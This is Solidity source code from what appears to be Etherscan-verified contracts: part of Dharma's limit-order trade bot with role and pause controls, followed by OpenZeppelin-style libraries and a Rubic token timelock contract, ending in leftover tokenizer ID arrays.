newOwner != address(0), "TwoStepOwnable: new potential owner is the zero address." ); _newPotentialOwner = newOwner; } /* * @notice Cancel a transfer of ownership to a new account. * Can only be called by the current owner. / function cancelOwnershipTransfer() external onlyOwner { delete _newPotentialOwner; } /* * @notice Transfers ownership of the contract to the caller. * Can only be called by a new potential owner set by the current owner. / function acceptOwnership() external { require( msg.sender == _newPotentialOwner, "TwoStepOwnable: current owner must set caller as new potential owner." ); delete _newPotentialOwner; emit OwnershipTransferred(_owner, msg.sender); _owner = msg.sender; } /* * @notice Returns the address of the current owner. / function owner() external view returns (address) { return _owner; } /* * @notice Returns true if the caller is the current owner. / function isOwner() public view returns (bool) { return msg.sender == _owner; } /* * @notice Throws if called by any account other than the owner. / modifier onlyOwner() { require(isOwner(), "TwoStepOwnable: caller is not the owner."); _; } } /* * @title DharmaTradeBotV1Staging * @author 0age * @notice DharmaTradeBot is a contract for performing meta-transaction-enabled * limit orders against external automated money markets or other sources of * on-chain liquidity. Eth-to-Token trades require that `triggerEtherTransfer` * is implemented on the account making the trade, and all trades require * that the account implements `isValidSignature` as specified by ERC-1271, * as well as a `setApproval` function, in order to enable meta-transactions. * For Eth-to-token trades, the Eth amount is forwarded as part of the trade. / contract DharmaTradeBotV1Staging is DharmaTradeBotV1Interface, TwoStepOwnable { using SafeMath for uint256; // Maintain a role status mapping with assigned accounts and paused states. mapping(uint256 => RoleStatus) private _roles; // Maintain a mapping of invalid meta-transaction order IDs. mapping (bytes32 => bool) private _invalidMetaTxHashes; ERC20Interface private constant _ETHERIZER = ERC20Interface( 0x723B51b72Ae89A3d0c2a2760f0458307a1Baa191 ); bool public constant staging = true; receive() external payable {} /* * @notice Only callable by the bot commander or the owner. Enforces the * expiration (or skips if it is set to zero) and trade size, validates * the execution signatures using ERC-1271 against the account, sets * approval to transfer the supplied token on behalf of that account, * pulls in the necessary supplied tokens, sets an allowance for the * provided trade target, calls the trade target with supplied data, * ensures that the call was successful, calculates the required amount * that must be received back based on the supplied amount and price, * ensures that at least that amount was returned, sends it to the * account, and emits an event. Use the null address to signify that * the supplied or retained asset is Ether. * @return amountReceived The amount received back from the trade. / function processLimitOrder( LimitOrderArguments calldata args, LimitOrderExecutionArguments calldata executionArgs ) external override onlyOwnerOr(Role.BOT_COMMANDER) returns ( uint256 amountReceived ) { _enforceExpiration(args.expiration); require( executionArgs.amountToSupply <= args.maximumAmountToSupply, "Cannot supply more than the maximum authorized amount." ); require( args.assetToSupply != args.assetToReceive, "Asset to supply and asset to receive cannot be identical." ); if (executionArgs.tradeData.length >= 4) { require( abi.decode( abi.encodePacked(executionArgs.tradeData[:4], bytes28(0)), (bytes4) ) != SupportingContractInterface.setApproval.selector, "Trade data has a prohibited function selector." ); } // Construct order's "context" and use it to validate meta-transaction. bytes memory context = _constructLimitOrderContext(args); bytes32 orderID = _validateMetaTransaction( args.account, context, executionArgs.signatures ); // Determine asset supplied (use Etherizer for Ether) and ether value. ERC20Interface assetToSupply; uint256 etherValue; if (args.assetToSupply == address(0)) { assetToSupply = _ETHERIZER; etherValue = executionArgs.amountToSupply; } else { assetToSupply = ERC20Interface(args.assetToSupply); etherValue = 0; // Ensure that target has allowance to transfer tokens. _grantApprovalIfNecessary( assetToSupply, executionArgs.tradeTarget, executionArgs.amountToSupply ); } // Call `setApproval` on the supplying account. SupportingContractInterface(args.account).setApproval( address(assetToSupply), executionArgs.amountToSupply ); // Make the transfer in. _transferInToken( assetToSupply, args.account, executionArgs.amountToSupply ); // Call into target, supplying data and value, and revert on failure. _performCallToTradeTarget( executionArgs.tradeTarget, executionArgs.tradeData, etherValue ); // Determine amount expected back using supplied amount and price. uint256 amountExpected = ( executionArgs.amountToSupply.mul(1e18) ).div( args.maximumPriceToAccept ); if (args.assetToReceive == address(0)) { // Determine ether balance held by this contract. amountReceived = address(this).balance; // Ensure that enough Ether was received. require( amountReceived >= amountExpected, "Trade did not result in the expected amount of Ether." ); // Transfer the Ether out and revert on failure. _transferEther(args.account, amountReceived); } else { ERC20Interface assetToReceive = ERC20Interface(args.assetToReceive); // Determine balance of received tokens held by this contract. amountReceived = assetToReceive.balanceOf(address(this)); // Ensure that enough tokens were received. require( amountReceived >= amountExpected, "Trade did not result in the expected amount of tokens." ); // Transfer the tokens and revert on failure. _transferOutToken(assetToReceive, args.account, amountReceived); } emit LimitOrderProcessed( args.account, args.assetToSupply, args.assetToReceive, executionArgs.amountToSupply, amountReceived, orderID ); } /* * @notice Cancels a potential limit order. Only the owner, the account * in question, or the canceller role may call this function. / function cancelLimitOrder( LimitOrderArguments calldata args ) external override onlyOwnerOrAccountOr(Role.CANCELLER, args.account) { _enforceExpiration(args.expiration); // Construct the order ID using relevant "context" of the limit order. bytes32 orderID = keccak256(_constructLimitOrderContext(args)); // Ensure the order ID has not been used or cancelled and invalidate it. require( !_invalidMetaTxHashes[orderID], "Meta-transaction already invalid." ); _invalidMetaTxHashes[orderID] = true; emit LimitOrderCancelled(orderID); } /* * @notice Pause a currently unpaused role and emit a `RolePaused` event. Only * the owner or the designated pauser may call this function. Also, bear in * mind that only the owner may unpause a role once paused. * @param role The role to pause. / function pause(Role role) external override onlyOwnerOr(Role.PAUSER) { RoleStatus storage storedRoleStatus = _roles[uint256(role)]; require(!storedRoleStatus.paused, "Role in question is already paused."); storedRoleStatus.paused = true; emit RolePaused(role); } /* * @notice Unpause a currently paused role and emit a `RoleUnpaused` event. * Only the owner may call this function. * @param role The role to pause. / function unpause(Role role) external override onlyOwner { RoleStatus storage storedRoleStatus = _roles[uint256(role)]; require(storedRoleStatus.paused, "Role in question is already unpaused."); storedRoleStatus.paused = false; emit RoleUnpaused(role); } /* * @notice Set a new account on a given role and emit a `RoleModified` event * if the role holder has changed. Only the owner may call this function. * @param role The role that the account will be set for. * @param account The account to set as the designated role bearer. / function setRole(Role role, address account) external override onlyOwner { require(account != address(0), "Must supply an account."); _setRole(role, account); } /* * @notice Remove any current role bearer for a given role and emit a * `RoleModified` event if a role holder was previously set. Only the owner * may call this function. * @param role The role that the account will be removed from. / function removeRole(Role role) external override onlyOwner { _setRole(role, address(0)); } /* * @notice View function to determine an order's meta-transaction message hash * and to determine if it is still valid (i.e. it has not yet been used and is * not expired). The returned order ID will need to be prefixed using EIP-191 * 0x45 and hashed again in order to generate a final digest for the required * signature - in other words, the same procedure utilized by `eth_Sign`. * @return orderID The ID corresponding to the limit order's meta-transaction. / function getOrderID( LimitOrderArguments calldata args ) external view override returns (bytes32 orderID, bool valid) { // Construct the order ID based on relevant context. orderID = keccak256(_constructLimitOrderContext(args)); // The meta-transaction is valid if it has not been used and is not expired. valid = ( !_invalidMetaTxHashes[orderID] && ( args.expiration == 0 \|\| block.timestamp <= args.expiration ) ); } /* * @notice External view function to check whether or not the functionality * associated with a given role is currently paused or not. The owner or the * pauser may pause any given role (including the pauser itself), but only the * owner may unpause functionality. Additionally, the owner may call paused * functions directly. * @param role The role to check the pause status on. * @return paused A boolean to indicate if the functionality associated with * the role in question is currently paused. / function isPaused(Role role) external view override returns (bool paused) { paused = _isPaused(role); } /* * @notice External view function to check whether the caller is the current * role holder. * @param role The role to check for. * @return hasRole A boolean indicating if the caller has the specified role. / function isRole(Role role) external view override returns (bool hasRole) { hasRole = _isRole(role); } /* * @notice External view function to check the account currently holding the * bot commander role. The bot commander can execute limit orders. * @return botCommander The address of the current bot commander, or the null * address if none is set. / function getBotCommander() external view override returns ( address botCommander ) { botCommander = _roles[uint256(Role.BOT_COMMANDER)].account; } /* * @notice External view function to check the account currently holding the * canceller role. The canceller can cancel limit orders. * @return canceller The address of the current canceller, or the null * address if none is set. / function getCanceller() external view override returns ( address canceller ) { canceller = _roles[uint256(Role.CANCELLER)].account; } /* * @notice External view function to check the account currently holding the * pauser role. The pauser can pause any role from taking its standard action, * though the owner will still be able to call the associated function in the * interim and is the only entity able to unpause the given role once paused. * @return pauser The address of the current pauser, or the null address if * none is set. / function getPauser() external view override returns (address pauser) { pauser = _roles[uint256(Role.PAUSER)].account; } /* * @notice Private function to enforce that a given meta-transaction * has not been used before and that the signature is valid according * to the account in question (using ERC-1271). * @param account address The account originating the meta-transaction. * @param context bytes Information about the meta-transaction. * @param signatures bytes Signature or signatures used to validate * the meta-transaction. / function _validateMetaTransaction( address account, bytes memory context, bytes memory signatures ) private returns (bytes32 orderID) { // Construct the order ID using the provided context. orderID = keccak256(context); // Ensure ID has not been used or cancelled and invalidate it. require( !_invalidMetaTxHashes[orderID], "Order is no longer valid." ); _invalidMetaTxHashes[orderID] = true; // Construct the digest to compare signatures against using EIP-191 0x45. bytes32 digest = keccak256( abi.encodePacked("\x19Ethereum Signed Message:\n32", orderID) ); // Validate via ERC-1271 against the specified account. bytes memory data = abi.encode(digest, context); bytes4 magic = ERC1271Interface(account).isValidSignature(data, signatures); require(magic == bytes4(0x20c13b0b), "Invalid signatures."); } /* * @notice Private function to set a new account on a given role and emit a * `RoleModified` event if the role holder has changed. * @param role The role that the account will be set for. * @param account The account to set as the designated role bearer. / function _setRole(Role role, address account) private { RoleStatus storage storedRoleStatus = _roles[uint256(role)]; if (account != storedRoleStatus.account) { storedRoleStatus.account = account; emit RoleModified(role, account); } } /* * @notice Private function to perform a call to a given trade target, supplying * given data and value, and revert with reason on failure. / function _performCallToTradeTarget( address target, bytes memory data, uint256 etherValue ) private { // Call into the provided target, supplying provided data. (bool tradeTargetCallSuccess,) = target.call{value: etherValue}(data); // Revert with reason if the call was not successful. if (!tradeTargetCallSuccess) { assembly { returndatacopy(0, 0, returndatasize()) revert(0, returndatasize()) } } else { // Ensure that the target is a contract. uint256 returnSize; assembly { returnSize := returndatasize() } if (returnSize == 0) { uint256 size; assembly { size := extcodesize(target) } require(size > 0, "Specified target does not have contract code."); } } } /* * @notice Private function to set approval for a given target to transfer tokens * on behalf of this contract. It should generally be assumed that this contract * is highly permissive when it comes to approvals. / function _grantApprovalIfNecessary( ERC20Interface token, address target, uint256 amount ) private { if (token.allowance(address(this), target) < amount) { // Try removing approval first as a workaround for unusual tokens. (bool success, bytes memory returnData) = address(token).call( abi.encodeWithSelector( token.approve.selector, target, uint256(0) ) ); // Grant approval to transfer tokens on behalf of this contract. (success, returnData) = address(token).call( abi.encodeWithSelector( token.approve.selector, target, type(uint256).max ) ); if (!success) { // Some really janky tokens only allow setting approval up to current balance. (success, returnData) = address(token).call( abi.encodeWithSelector( token.approve.selector, target, amount ) ); } require( success && (returnData.length == 0 \|\| abi.decode(returnData, (bool))), "Token approval to trade against the target failed." ); } } /* * @notice Private function to transfer tokens out of this contract. / function _transferOutToken(ERC20Interface token, address to, uint256 amount) private { (bool success, bytes memory returnData) = address(token).call( abi.encodeWithSelector(token.transfer.selector, to, amount) ); if (!success) { assembly { returndatacopy(0, 0, returndatasize()) revert(0, returndatasize()) } } if (returnData.length == 0) { uint256 size; assembly { size := extcodesize(token) } require(size > 0, "Token specified to transfer out does not have contract code."); } else { require(abi.decode(returnData, (bool)), 'Token transfer out failed.'); } } /* * @notice Private function to transfer Ether out of this contract. / function _transferEther(address recipient, uint256 etherAmount) private { // Send Ether to recipient and revert with reason on failure. (bool ok, ) = recipient.call{value: etherAmount}(""); if (!ok) { assembly { returndatacopy(0, 0, returndatasize()) revert(0, returndatasize()) } } } /* * @notice Private function to transfer tokens into this contract. / function _transferInToken(ERC20Interface token, address from, uint256 amount) private { (bool success, bytes memory returnData) = address(token).call( abi.encodeWithSelector(token.transferFrom.selector, from, address(this), amount) ); if (!success) { assembly { returndatacopy(0, 0, returndatasize()) revert(0, returndatasize()) } } if (returnData.length == 0) { uint256 size; assembly { size := extcodesize(token) } require(size > 0, "Token specified to transfer in does not have contract code."); } else { require(abi.decode(returnData, (bool)), 'Token transfer in failed.'); } } /* * @notice Private view function to check whether the caller is the current * role holder. * @param role The role to check for. * @return hasRole A boolean indicating if the caller has the specified role. / function _isRole(Role role) private view returns (bool hasRole) { hasRole = msg.sender == _roles[uint256(role)].account; } /* * @notice Private view function to check whether the given role is paused or * not. * @param role The role to check for. * @return paused A boolean indicating if the specified role is paused or not. / function _isPaused(Role role) private view returns (bool paused) { paused = _roles[uint256(role)].paused; } /* * @notice Private view function to construct the "context" or details that * need to be included when generating the order ID. * @return context bytes The context. / function _constructLimitOrderContext( LimitOrderArguments memory args ) private view returns (bytes memory context) { context = abi.encode( address(this), args.account, args.assetToSupply, args.assetToReceive, args.maximumAmountToSupply, args.maximumPriceToAccept, args.expiration, args.salt ); } /* * @notice Private view function to ensure that a given expiration has * not elapsed, or is set to zero (signifying no expiration). / function _enforceExpiration(uint256 expiration) private view { require( expiration == 0 \|\| block.timestamp <= expiration, "Order has expired." ); } /* * @notice Modifier that throws if called by any account other than the owner * or the supplied role, or if the caller is not the owner and the role in * question is paused. * @param role The role to require unless the caller is the owner. Permitted * roles are bot commander (0), and canceller (1), and pauser (2). / modifier onlyOwnerOr(Role role) { if (!isOwner()) { require(_isRole(role), "Caller does not have a required role."); require(!_isPaused(role), "Role in question is currently paused."); } _; } /* * @notice Modifier that throws if called by any account other than the owner, * a specified account, or the supplied role, or if the caller is not the * owner or the specified account and the role in question is paused. * @param role The role to require unless the caller is the owner or the * specified account. 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/** Submitted for verification at Etherscan.io on 2021-08-24 / // SPDX-License-Identifier: MIT // File: Address.sol pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type / library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: SafeMath.sol pragma solidity ^0.6.0; /* * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. / library SafeMath { /* * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /* * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /* * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /* * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `` operator. * Requirements: * * - Multiplication cannot overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /* * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: SafeERC20.sol pragma solidity ^0.6.0; /* * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. / library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /* * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. / function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) \|\| (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /* * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). / function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: TokenTimelock.sol pragma solidity ^0.6.0; /* * @dev A token holder contract that will allow a beneficiary to extract the * tokens after a given release time. * * Useful for simple vesting schedules like "advisors get all of their tokens * after 1 year". / contract TokenTimelock { using SafeERC20 for IERC20; // ERC20 basic token contract being held IERC20 private _token; // beneficiary of tokens after they are released address private _beneficiary; // timestamp when token release is enabled uint256 private _releaseTime; constructor (IERC20 token, address beneficiary, uint256 releaseTime) public { // solhint-disable-next-line not-rely-on-time require(releaseTime > block.timestamp, "TokenTimelock: release time is before current time"); _token = token; _beneficiary = beneficiary; _releaseTime = releaseTime; } /* * @return the token being held. / function token() public view returns (IERC20) { return _token; } /* * @return the beneficiary of the tokens. / function beneficiary() public view returns (address) { return _beneficiary; } /* * @return the time when the tokens are released. / function releaseTime() public view returns (uint256) { return _releaseTime; } /* * @notice Transfers tokens held by timelock to beneficiary. / function release() public virtual { // solhint-disable-next-line not-rely-on-time require(block.timestamp >= _releaseTime, "TokenTimelock: current time is before release time"); uint256 amount = _token.balanceOf(address(this)); require(amount > 0, "TokenTimelock: no tokens to release"); _token.safeTransfer(_beneficiary, amount); } } // File: IERC20.sol pragma solidity ^0.6.0; /* * @dev Interface of the ERC20 standard as defined in the EIP. / interface IERC20 { /* * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: browser/RubicTokenLock.sol pragma solidity ^0.6.0; contract RubicTokenLock is TokenTimelock { constructor () public TokenTimelock( IERC20(0x10db37f4d9b3bc32AE8303B46E6166F7e9652d28), // token 0x483557C3B44362eBDA69B9A1e9bb2C27073AE1Bd, // beneficiary 1633824000) { } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5511, 1011, 2484, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 5371, 1024, 4769, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1016, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 3074, 1997, 4972, 3141, 2000, 1996, 4769, 2828, 1008, 1013, 3075, 4769, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 2995, 2065, 1036, 4070, 1036, 2003, 1037, 3206, 1012, 1008, 1008, 1031, 2590, 1033, 1008, 1027, 1027, 1027, 1027, 1008, 2009, 2003, 25135, 2000, 7868, 2008, 2019, 4769, 2005, 2029, 2023, 3853, 5651, 1008, 6270, 2003, 2019, 27223, 1011, 3079, 4070, 1006, 1041, 10441, 1007, 1998, 2025, 1037, 3206, 1012, 1008, 1008, 2426, 2500, 1010, 1036, 2003, 8663, 6494, 6593, 1036, 2097, 2709, 6270, 2005, 1996, 2206, 1008, 4127, 1997, 11596, 1024, 1008, 1008, 1011, 2019, 27223, 1011, 3079, 4070, 1008, 1011, 1037, 3206, 1999, 2810, 1008, 1011, 2019, 4769, 2073, 1037, 3206, 2097, 2022, 2580, 1008, 1011, 2019, 4769, 2073, 1037, 3206, 2973, 1010, 2021, 2001, 3908, 1008, 1027, 1027, 1027, 1027, 1008, 1013, 3853, 2003, 8663, 6494, 6593, 1006, 4769, 4070, 1007, 4722, 3193, 5651, 1006, 22017, 2140, 1007, 1063, 1013, 1013, 2023, 4118, 16803, 1999, 4654, 13535, 19847, 4697, 1010, 2029, 5651, 1014, 2005, 8311, 1999, 1013, 1013, 2810, 1010, 2144, 1996, 3642, 2003, 2069, 8250, 2012, 1996, 2203, 1997, 1996, 1013, 1013, 9570, 2953, 7781, 1012, 21318, 3372, 17788, 2575, 2946, 1025, 1013, 1013, 14017, 10606, 2102, 1011, 4487, 19150, 1011, 2279, 1011, 2240, 2053, 1011, 23881, 1011, 3320, 3320, 1063, 2946, 1024, 1027, 4654, 13535, 19847, 4697, 1006, 4070, 1007, 1065, 2709, 2946, 1028, 1014, 1025, 1065, 1013, 1008, 1008, 1008, 1030, 16475, 6110, 2005, 5024, 3012, 1005, 1055, 1036, 4651, 1036, 1024, 10255, 1036, 3815, 1036, 11417, 2000, 1008, 1036, 7799, 1036, 1010, 2830, 2075, 2035, 2800, 3806, 1998, 7065, 8743, 2075, 2006, 10697, 1012, 1008, 1008, 16770, 1024, 1013, 1013, 1041, 11514, 2015, 1012, 28855, 14820, 1012, 8917, 1013, 1041, 11514, 2015, 1013, 1041, 11514, 1011, 6988, 1031, 1041, 11514, 15136, 2620, 2549, 1033, 7457, 1996, 3806, 3465, 1008, 1997, 3056, 6728, 23237, 1010, 4298, 2437, 8311, 2175, 2058, 1996, 11816, 2692, 3806, 5787, 1008, 9770, 2011, 1036, 4651, 1036, 1010, 2437, 2068, 4039, 2000, 4374, 5029, 3081, 1008, 1036, 4651, 1036, 1012, 1063, 4604, 10175, 5657, 1065, 20362, 2023, 22718, 1012, 1008, 1008, 16770, 1024, 1013, 1013, 29454, 29206, 3401, 1012, 9530, 5054, 6508, 2015, 1012, 5658, 1013, 8466, 1013, 10476, 1013, 5641, 1013, 2644, 1011, 2478, 1011, 5024, 3012, 2015, 1011, 4651, 1011, 2085, 1013, 1031, 4553, 2062, 1033, 1012, 1008, 1008, 2590, 1024, 2138, 2491, 2003, 4015, 2000, 1036, 7799, 1036, 1010, 2729, 2442, 2022, 1008, 2579, 2000, 2025, 3443, 2128, 4765, 5521, 5666, 24728, 19666, 6906, 14680, 1012, 5136, 2478, 1008, 1063, 2128, 4765, 5521, 5666, 18405, 1065, 2030, 1996, 1008, 16770, 1024, 1013, 1013, 5024, 3012, 1012, 3191, 23816, 10085, 2015, 1012, 22834, 1013, 4372, 1013, 1058, 2692, 1012, 1019, 1012, 102 ]	[ 1, 1, 